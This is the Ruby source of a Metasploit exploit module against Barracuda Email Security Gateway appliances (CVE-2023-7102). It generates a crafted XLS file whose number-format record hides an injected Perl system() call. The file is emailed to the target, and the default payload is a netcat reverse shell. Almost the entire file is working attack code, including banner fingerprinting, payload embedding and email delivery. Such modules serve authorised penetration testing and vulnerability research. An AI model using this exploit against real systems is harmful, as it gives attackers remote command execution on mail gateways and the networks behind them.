Path: blob/master/modules/exploits/linux/smtp/barracuda_esg_spreadsheet_rce.rb
70334 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78prepend Msf::Exploit::Remote::AutoCheck9include Msf::Exploit::Remote::SMTPDeliver1011# BIFF8 Record Opcodes12BIFF8_BOF = 0x0809 # Beginning of File13BIFF8_EOF = 0x000A # End of File14BIFF8_CODEPAGE = 0x0042 # Code page15BIFF8_WINDOW1 = 0x003D # Window information16BIFF8_DATEMODE = 0x0022 # Date system17BIFF8_FONT = 0x0031 # Font definition18BIFF8_FORMAT = 0x041E # Number format string (payload injection point)19BIFF8_XF = 0x00E0 # Extended format20BIFF8_STYLE = 0x0293 # Style definition21BIFF8_BOUNDSHEET = 0x0085 # Sheet information22BIFF8_DIMENSION = 0x0200 # Sheet dimensions23BIFF8_ROW = 0x0208 # Row definition24BIFF8_NUMBER = 0x0203 # Floating point cell2526# BIFF8 Constants27BIFF8_VERSION = 0x060028BOF_WORKBOOK = 0x000529BOF_WORKSHEET = 0x00103031def initialize(info = {})32super(33update_info(34info,35'Name' => 'Barracuda ESG Spreadsheet::ParseExcel Arbitrary Code Execution',36'Description' => %q{37This module exploits CVE-2023-7102, an arbitrary code execution vulnerability38in Barracuda Email Security Gateway (ESG) appliances. The vulnerability exists39in how the Amavis scanner processes Excel attachments using the Perl40Spreadsheet::ParseExcel library.4142The library's Utility.pm contains an unsafe eval() that processes Excel43Number format strings without validation. By crafting a malicious XLS file44with a specially formatted Number format string containing Perl code, an45attacker can achieve remote code execution when the ESG scans the email46attachment.4748This module dynamically generates a minimal BIFF8 XLS file with the payload49embedded in a FORMAT record using Rex::OLE. Payload constraints: no ']' (terminates50format string) or single quotes (breaks Perl eval injection).5152This vulnerability was exploited in the wild by UNC4841 (China-nexus threat53actor) starting November 2023. Barracuda deployed automatic patches on54December 21, 2023.5556Affected versions: Barracuda ESG 5.1.3.001 through 9.2.1.00157},58'License' => MSF_LICENSE,59'Author' => [60'Mandiant', # CVE-2023-7101/7102 discovery61'haile01', # CVE-2023-7101 XLS payload technique62'Curt Hyvarinen' # Metasploit module63],64'References' => [65['CVE', '2023-7102'],66['CVE', '2023-7101'],67['URL', 'https://github.com/haile01/perl_spreadsheet_excel_rce_poc'],68['URL', 'https://trust.barracuda.com/security/information/esg-vulnerability'],69['URL', 'https://cloud.google.com/blog/topics/threat-intelligence/unc4841-post-barracuda-zero-day-remediation'],70['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2023-7101']71],72'DisclosureDate' => '2023-12-24',73'Platform' => 'unix',74'Arch' => ARCH_CMD,75'Privileged' => false, # Runs as scana user (Amavis scanner)76'Payload' => {77'Space' => 8192,78'DisableNops' => true,79'BadChars' => "]'\x00" # ] terminates format, ' breaks eval, null terminates80},81'Targets' => [82[83'Unix Command',84{85'DefaultOptions' => {86'PAYLOAD' => 'cmd/unix/reverse_netcat'87}88}89]90],91'DefaultTarget' => 0,92'Notes' => {93'Stability' => [CRASH_SAFE],94'Reliability' => [REPEATABLE_SESSION],95'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]96}97)98)99100register_options(101[102OptString.new('MAILTO', [true, 'Target email address on the ESG']),103OptString.new('SUBJECT', [false, 'Email subject line (default: random)']),104OptString.new('BODY', [false, 'Email body text (default: random)']),105OptString.new('FILENAME', [false, 'XLS attachment filename (default: random)'])106]107)108end109110def check111connect112banner_str = banner.to_s113if banner_str =~ /barracuda/i114return CheckCode::Detected('Barracuda ESG detected in SMTP banner')115end116117if banner_str =~ /ESMTP/i118return CheckCode::Unknown('SMTP server detected, but cannot confirm Barracuda ESG')119end120121CheckCode::Safe('No SMTP banner detected')122rescue Rex::ConnectionError => e123CheckCode::Unknown("Connection failed: #{e.message}")124ensure125disconnect126end127128def exploit129cmd = payload.encoded130131# Validate payload doesn't contain characters that break the injection132if cmd.include?(']')133fail_with(Failure::BadConfig, "Payload contains ']' which terminates the format string. Use a different payload.")134end135if cmd.include?("'")136fail_with(Failure::BadConfig, 'Payload contains single quote which breaks eval injection. Use a different payload.')137end138139@subject = datastore['SUBJECT']140@body = datastore['BODY']141@filename = datastore['FILENAME']142143@mailfrom = datastore['MAILFROM']144@subject = Rex::Text.rand_text_alpha(rand(8..16)) if @subject.to_s.strip.empty?145@body = Rex::Text.rand_text_alpha(rand(16..32)) if @body.to_s.strip.empty?146@filename = "#{Rex::Text.rand_text_alpha(8)}.xls" if @filename.to_s.strip.empty?147148print_status('Generating malicious XLS with payload in FORMAT record')149xls_data = generate_malicious_xls(cmd)150151print_status('Composing email with XLS attachment')152email_data = generate_exploit_email(xls_data)153154print_status("Sending exploit email to #{datastore['MAILTO']} via #{rhost}:#{rport}")155send_message(email_data)156157print_good('Email sent successfully')158print_status('Payload executes when Amavis scanner parses the XLS attachment (may take 30-90 seconds)')159end160161#162# Generate a malicious XLS file with payload embedded in FORMAT record163# Uses Rex::OLE for OLE2 container and builds BIFF8 records dynamically164#165def generate_malicious_xls(cmd)166# Build the malicious format string167# Format: [>0;system('COMMAND')]0168# The >0 comparison is always true for positive numbers, then Perl executes system()169format_payload = "[>0;system('#{cmd}')]0"170vprint_status("Format string payload: #{format_payload}")171vprint_status("Payload length: #{format_payload.length} bytes")172173# Build BIFF8 workbook stream174workbook = build_workbook_stream(format_payload)175176# Build BIFF8 worksheet stream177worksheet = build_worksheet_stream178179# Combine streams (worksheet follows workbook globals in same stream)180content = workbook + worksheet181182# Create OLE2 container using Rex::OLE183xls_data = create_ole2_xls(content)184185vprint_status("Generated XLS size: #{xls_data.length} bytes")186xls_data187end188189#190# Build BIFF8 workbook globals stream191#192def build_workbook_stream(format_payload)193stream = ''.b194195# BOF - Workbook196stream << biff_record(BIFF8_BOF, bof_data(BOF_WORKBOOK))197198# Codepage (UTF-16)199stream << biff_record(BIFF8_CODEPAGE, [0x04B0].pack('v'))200201# Window1 - basic window settings202stream << biff_record(BIFF8_WINDOW1, window1_data)203204# Datemode - 1900 date system205stream << biff_record(BIFF8_DATEMODE, [0x0000].pack('v'))206207# Font records (need at least 4 for XF records)2084.times { stream << biff_record(BIFF8_FONT, font_data) }209210# FORMAT record - this is where our payload lives211stream << biff_record(BIFF8_FORMAT, format_data(format_payload))212213# XF records (cell formatting) - need 21 built-in + 1 custom21421.times { stream << biff_record(BIFF8_XF, xf_data(0)) }215stream << biff_record(BIFF8_XF, xf_data(165)) # References our custom format216217# Style record218stream << biff_record(BIFF8_STYLE, style_data)219220# Boundsheet - worksheet BOF offset = current stream length + this record's size + EOF record size221# Pre-compute the BOUNDSHEET record size to calculate the correct absolute offset222boundsheet_size = biff_record(BIFF8_BOUNDSHEET, boundsheet_data(0)).bytesize223eof_size = biff_record(BIFF8_EOF, '').bytesize224stream << biff_record(BIFF8_BOUNDSHEET, boundsheet_data(stream.length + boundsheet_size + eof_size))225226# EOF227stream << biff_record(BIFF8_EOF, '')228229stream230end231232#233# Build BIFF8 worksheet stream234#235def build_worksheet_stream236stream = ''.b237238# BOF - Worksheet239stream << biff_record(BIFF8_BOF, bof_data(BOF_WORKSHEET))240241# Dimension - 1x1 used range242stream << biff_record(BIFF8_DIMENSION, dimension_data)243244# Row definition245stream << biff_record(BIFF8_ROW, row_data(0))246247# NUMBER record - cell with value that triggers format processing248# Row 0, Col 0, XF index 21 (our custom format), Value 123.0249stream << biff_record(BIFF8_NUMBER, number_data(0, 0, 21, 123.0))250251# EOF252stream << biff_record(BIFF8_EOF, '')253254stream255end256257#258# Create OLE2 compound document containing the workbook stream259#260def create_ole2_xls(content)261# Create temporary file for Rex::OLE262tmpfile = Rex::Quickfile.new('msf-xls')263tmppath = tmpfile.path264tmpfile.close265266begin267stg = Rex::OLE::Storage.new(tmppath, Rex::OLE::STGM_WRITE)268fail_with(Failure::Unknown, 'Failed to create OLE storage') unless stg269270stm = stg.create_stream('Workbook')271fail_with(Failure::Unknown, 'Failed to create Workbook stream') unless stm272273stm << content274stm.close275stg.close276277# Read the generated file278xls_data = File.binread(tmppath)279xls_data280ensure281File.delete(tmppath) if File.exist?(tmppath)282end283end284285# BIFF8 Record Helpers286287#288# Build a BIFF8 record: opcode (2 bytes) + length (2 bytes) + data289#290def biff_record(opcode, data)291[opcode, data.bytesize].pack('v2') + data292end293294#295# BOF record data296#297def bof_data(sheet_type)298[299BIFF8_VERSION, # BIFF version300sheet_type, # Sheet type (workbook or worksheet)3010x0DBB, # Build identifier3020x07CC, # Build year3030x000000C1, # File history flags3040x00000006 # Lowest BIFF version305].pack('v4V2')306end307308#309# Window1 record data310#311def window1_data312[3130x0000, # Horizontal position3140x0000, # Vertical position3150x4000, # Width3160x2000, # Height3170x0038, # Options3180x0000, # Selected tab3190x0000, # First displayed tab3200x0001, # Selected tabs count3210x00E5 # Tab bar width ratio322].pack('v9')323end324325#326# Font record data327#328def font_data329font_name = 'Arial'330data = [3310x00C8, # Height (200 twips = 10pt)3320x0000, # Options3330x7FFF, # Color index3340x0190, # Font weight (400 = normal)3350x0000, # Escapement3360x00, # Underline3370x00, # Font family3380x00, # Character set3390x00, # Reserved340font_name.length # Name length (byte string)341].pack('v4vC5')342data << font_name343data344end345346#347# FORMAT record data - contains our payload348#349def format_data(format_string)350# FORMAT record structure for BIFF8:351# - 2 bytes: format index (custom formats start at 164)352# - 2 bytes: string length (character count)353# - 1 byte: encoding flag (0 = compressed/Latin-1, 1 = UTF-16)354# - variable: string data355format_index = 165356357data = [358format_index,359format_string.length,3600x00 # Latin-1 encoding (single byte per char)361].pack('v2C')362data << format_string363data364end365366#367# XF (extended format) record data368#369def xf_data(format_index)370[3710x0000, # Font index372format_index, # Format index (0 = General, 165 = our custom)3730x0001, # Type/protection flags3740x00, # Alignment3750x00, # Rotation3760x00, # Text properties3770x00, # Used attributes3780x00000000, # Border colors3790x00000000, # Border lines3800x00000000 # Pattern/background color381].pack('v3C4V3')382end383384#385# Style record data386#387def style_data388[3890x8000, # XF index with built-in flag set3900x00, # Built-in style ID (Normal)3910xFF # Outline level392].pack('vCC')393end394395#396# Boundsheet record data397#398def boundsheet_data(sheet_offset)399sheet_name = 'Sheet1'400data = [401sheet_offset, # Absolute offset to BOF4020x00, # Sheet state (visible)4030x00, # Sheet type (worksheet)404sheet_name.length # Name length405].pack('VCC C')406data << sheet_name407data408end409410#411# Dimension record data412#413def dimension_data414[4150x0000, # First row4160x0001, # Last row + 14170x0000, # First column4180x0001, # Last column + 14190x0000 # Reserved420].pack('v5')421end422423#424# Row record data425#426def row_data(row_num)427[428row_num, # Row number4290x0000, # First defined column4300x0001, # Last defined column + 14310x00FF, # Row height4320x0000, # Reserved4330x0000, # Reserved4340x0100 # Options435].pack('v7')436end437438#439# NUMBER record data440#441def number_data(row, col, xf_index, value)442data = [row, col, xf_index].pack('v3')443data << [value].pack('E') # 64-bit IEEE 754 double (little-endian)444data445end446447#448# Generate MIME email with XLS attachment449#450def generate_exploit_email(xls_data)451msg = Rex::MIME::Message.new452msg.mime_defaults453msg.from = @mailfrom454msg.to = datastore['MAILTO']455msg.subject = @subject456457msg.add_part(@body, 'text/plain', nil, 'inline')458msg.add_part_attachment(xls_data, @filename)459460msg.to_s461end462end463464465